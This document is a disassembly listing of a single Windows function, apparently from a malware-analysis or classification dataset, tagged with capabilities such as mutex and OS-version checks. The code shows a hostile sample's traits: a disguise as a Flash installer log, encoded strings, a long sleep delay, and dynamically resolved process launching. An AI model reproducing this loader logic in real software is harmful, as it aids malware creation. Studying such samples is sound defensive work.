Function at 0x402060
Capabilities:
Check mutex on windows
Check os version
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402860
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x248
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
push str.Microa
push ebx
mov esi, ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4020be
push 1
mov ecx, esi
call sub.MFC42.DLL_CDialog::EndDialog
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.c:windows_system32MacromedFlashFlashInstall.log
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
call fcn.00401930
test eax, eax
jne 0x4021ec
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::Empty
push 0x404658
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0xac]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0xb0]
push eax
push ecx
push ebx
push ebx
push 0x10
push ebx
push ebx
push ebx
push str.APoDv7wAv_UC8btAKnL9Pb9A_z08MvzAvrvywX7_vD3vfv8BL_xb8AgO_vAC_8ALzv62tAKnL9Pb9A_z08MvzAvrvywX7_vD3vfv8BL_Fv7_27wD8_QX2BL8_vv7v62tAKnL9Pb9A_z08MvzAvrvywX7_vD3vfv8BL_Fv_P8Pj79vDzv62tAKnL9Pb9A_z08MvzAvrvywX7_vD3vfv8BL_Fv_0C87_w8_7x862tAKnL9Pb9A_z08MvzAvrvywX7_vD3vfv8BL_Fv_0C8_Dz_vO_uv79v62tAKnL9Pb9A_z08MvzAvrvywX7_vD3vfv8BJ8
mov dword [ebp - 0xb0], 0x44
mov dword [ebp - 0x84], 1
mov word [ebp - 0x80], bx
call fcn.004012b0
add esp, 4
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov edx, dword [ebp - 0x28]
push 0x1388
push edx
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea eax, [ebp - 0x18]
push eax
push str.AKnL9Pb9A_z08MvzAvrvywX7_vD3vfv8BJ8
call fcn.004012b0
add esp, 4
push eax
call fcn.00401b20
add esp, 8
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator_1
push ebx
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::GetBuffer
push eax
push str.vAP8APC87_H8AQK97_fvnw
call fcn.004012b0
add esp, 4
push eax
push 0x50
push str.9PT0vfj19gC9ef
call fcn.004012b0
add esp, 4
push eax
call fcn.00401bc0
add esp, 0x10
mov ecx, esi
push 1
call sub.MFC42.DLL_CDialog::EndDialog
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], bl
call fcn.00402526
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
call fcn.00402526
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 4], 2
push 0x6ddd00
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x253]
mov byte [ebp - 0x254], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.9_Pz76m8vPT09L349fYAvfnvvAP8APC8AWvp7357wSf
stosb byte es:[edi], al
call fcn.004012b0
add esp, 4
lea edx, [ebp - 0x254]
push edx
push eax
call fcn.00401800
add esp, 8
cmp eax, ebx
je 0x4021f9
mov ecx, 0x25
xor eax, eax
lea edi, [ebp - 0x154]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x154]
mov dword [ebp - 0x154], 0x94
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
cmp eax, ebx
je 0x40228c
mov eax, dword [ebp - 0x150]
cmp eax, 5
je 0x40228c
jbe 0x40228c
call fcn.00401cd0
cmp eax, 1
je 0x40228c
call fcn.004014a0
cmp eax, 1
je 0x4021f9
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x68]
push str.CreateProcessA
rep stosd dword es:[edi], eax
push str.Kernel32.dll
mov dword [ebp - 0x6c], 0x44
mov word [ebp - 0x3c], bx
mov dword [ebp - 0x64], str.WinSta0Default
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call esi
lea ecx, [ebp - 0xc0]
lea edx, [ebp - 0x6c]
push ecx
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x254]
push ebx
push ecx
push ebx
call eax
jmp 0x4021f9